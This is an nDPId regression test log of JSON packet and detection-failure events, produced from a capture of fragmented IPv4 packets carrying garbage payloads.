+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 